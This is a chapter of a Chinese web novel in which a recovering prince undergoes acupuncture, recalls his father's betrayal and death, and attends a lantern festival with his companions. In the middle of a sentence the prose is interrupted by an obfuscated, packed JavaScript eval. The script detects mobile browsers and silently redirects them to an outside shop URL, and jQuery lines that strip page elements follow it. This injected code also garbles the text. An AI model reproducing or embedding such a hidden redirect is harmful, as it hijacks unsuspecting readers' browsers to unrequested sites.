那天后来不了了之,只是来了几个大夫,在舒明尘面前叽叽咕咕了半天,最后推举出一人,显然此人有对症之术。
林汝声清了清嗓子道:“此症当先以药物温补再兼通经散络为辅,因公子体虚而久病,畏寒畏湿,以致气血两虚,还需以针灸为治。”
说完亮出了一排银针。
舒明尘:……他感觉他的病突然好了,要不就不用了吧?
眼看着那银针已然要落到他身上,舒明尘飞快地收起了手,正在思考瞎编个什么理由混过去的时候,一旁的云容出了声:
“这个法子不太合适,换一个吧。”
云容是个天使!
天使还对他安抚性道:“别担心,不用那个。”
舒明尘小鸡啄米,舒明尘双手赞成。
而云容眼底灰暗一片,晋国用在殿下身上的手段,银针也是其中之一。
他又想起那时在牢里,到处都是阴冷枯朽的灰尘,只有殿下的身上是刺眼的红。
别怕,都会过去的。
是夜,今天的熏香里特意加了安神香,舒明尘无知无觉地吸了不少,此刻已经安眠。
云容出现在塌边,吩咐道:“动手吧。”
林汝声展开医匣,开始行针,结束之后,云容问道:“他要多久才能好?”
林汝声沉吟片刻道:“可能一个月,也可能半年,甚至即便痊愈之后,若遇阴湿天气,有极大概率复发。”
云容抿抿嘴:“就没有其他办法?”
年过六旬的老者摊摊手,无奈道:“此类病症并无彻底痊愈之说,只能尽力保养,日常起居多加注意,药物辅助、针灸之术都只能缓解……”
所谓隔行如隔山,他很有耐心地给这位统领普及了一下,常人的病尚且不能根治,更何况像舒明尘这种,他能活下来就算是命大了。
要是再想和之前一模一样是不可能的。
送走林大夫后,云容挫败地想到:如果不能和之前一模一样,那这些日子的努力又算什么呢?
他们做的这些,就是想让他醒过来的时候一切都和之前一样啊。
本来舒明尘记忆的恢复是一件令人值得高兴的事,但此刻云容却难得希望可以晚一点。
但事情总是不会朝着人们所希望的发展,预料之中的事也会有变数。
某天,舒明尘认真端详了谢南渝许久之后才说:“你不是他。”。
他难得仔细整理了自己的记忆,他去了晋国,然后现在他们告诉他,晋国战败了,他可以回去了。
一切好像都没问题,可是……
他捂住自己的头,好像有人低低的说话声,很小,却精准地传入了他的耳膜。
“邺国内斗真是……啧啧,那将军死之前都没想到是谁泄露了消息……”
“小声些,万一被听见了……”
“怕那个病秧子做什么,他整日除了病就是睡,就算知道了又能怎么样?”
于是另一个声音渐渐明晰了起来。
“也是。我跟你讲,这事,少不得还有那位的参与。”
“怎么说?”
“你难道不知那消息来自何处?”
“不就是个无名小卒,为了些金银,什么都做的出来。”
“他确是不值一提,但他是白副营使的亲信崔克部下的。这个白卓啊,可是那边最新提拔上来的。”
“哎,两相争权,咱们啊,就坐收渔翁之利。”
“要不说呢,我还听说白卓有个妹妹,可是那边宫里的宠妃呢……”
这时,另一个声音慢慢传了过来,他说:“慢慢想,不要着急……”
于是舒明尘确实意识到——
“他死了。”
谢南渝听到后不自觉地摩挲了下手指,叹道:“是,四年前,死在战场上。”
眼看着舒明尘的目光黯淡了下去,谢南渝想了想补充道:
“相关的人后来都被问罪了,白卓也在前年夏天问斩了。”
这事发生在他夺权之前,大概是察觉到了他的意图,邺国皇帝将当年模糊不清的父亲死因查清了,人证、物证、口供一应俱全,甚至定罪也十分迅速,简直像是在讨好他一样。
甚至之后他再细查,也查不出半点不白之处。
记忆已经到三年前了吗?他揉了揉对方的发顶。
舒明尘显然对这个举动有些愕然,连表情都呆滞了。
他看着有趣,又说道:“今日是花朝节,落云城晚上有花神灯会,还有各色各样的花糕点心,要不要去看看?”
灯会啊,一听就有很多好玩的,舒明尘欣然应允。
落云城花神灯会闻名遐迩,陈郡守曾倾尽全力打造了一场盛大灯会,甫一出现,便受到了广泛称赞,至今提起花神灯会,除去京城等繁荣地带,可值一提的就是落云城了。
也算是一个不错的政绩了。
可惜落在一个不站队的官员身上,就像百姓辛苦劳作的赋税,被那些人三言两语地踩在脚底下,扔进泥土里。
不过倒也保住了落云城多年的安定。
舒明尘一行人来到的时候已经稍稍晚了,灯会已经开始,花灯悬在高处,流光溢彩,花纸上的人物栩栩如生,他们踏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112121|148043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着光影路过摇曳的彩灯,真是美轮美奂。
摊贩们的叫卖声此起彼伏,不远处还有猜灯谜赢花灯的场子,大多数人都只答几个,最后实在想不起来,只能乖乖掏钱买了个花灯。
所幸这种场合的花灯大多精美,单是如此也不觉得吃亏。
舒明尘兴致勃勃地挑了个还不错的摊位,拉着云容就开始大展拳脚。
系统也在脑海里出谋划策,它算是想明白了,左右它家宿主恢复记忆就在这一两日了,恢复记忆后,舒舒看见它这么懂事一定会夸它的!
系统已经忘了前几日在舒明尘脑海里随地大小哭被嫌弃的事了。
最后舒明尘果不其然得到了一个免费的花灯。
一旁的云容就没这样的好运气了,再答错一个后,也是乖乖掏了钱。
最后两人一人提着一只花灯,正好撞见也一人一花灯的组合——
沈司、谢南渝。
沈司绘声绘色地同他们讲:“那边有个超级难的谜题,那老板说好几个书生都没猜出来,我往那一站,一眼就说出了谜底。”
作为奖励,老板直接把一个最大的花灯送给他了。
沈司还怂恿谢南渝去试试,结果谢南渝果然如他所料卡在了半路,在沈司揶揄的目光下掏钱买了一只。
谢南渝无可奈何地看着沈司把刚才的故事又讲了一遍,颇有种生无可恋的感觉。
忽而周围的人声大了,在一片激动掺杂着期待的目光下,火树银花乍现于黑夜,像一盏硕大的花伞,在视线停驻的刹那转瞬而逝。
“生辰快乐。”
舒明尘循声望去,就看到沈司站在烟花的阴影,在人声鼎沸的街市上做了个口型:“生辰快乐。”
原来,今天是他生辰。
不知怎么,他耳边进而浮现一个温柔的女声,也说着:“阿尘,生辰快乐。”
轻的好像是他的幻觉。
烟花停了,那些声音便也渐渐远去了。
但花灯会还没结束,一行人继续走走停停,吃吃喝喝,不知不觉已到了深夜,舒明尘困得哈欠都出来了,终于决定打道回府。
舒明尘趴在云容的肩上,半梦半醒间嘟囔了一句:“云容,你没有把作战计划传给谢南渝吗?”
云容稳健的脚步顿了一下,又继续平静说道:“给了。”
“那为什么还会输啊……”
最后一个字消失在极度的困意里,说话人已经沉入梦乡,只有余下三人静静地前行。
在寂静的夜晚,月亮也发出了一声叹息。
因为需要迷惑晋军,但无人告知他。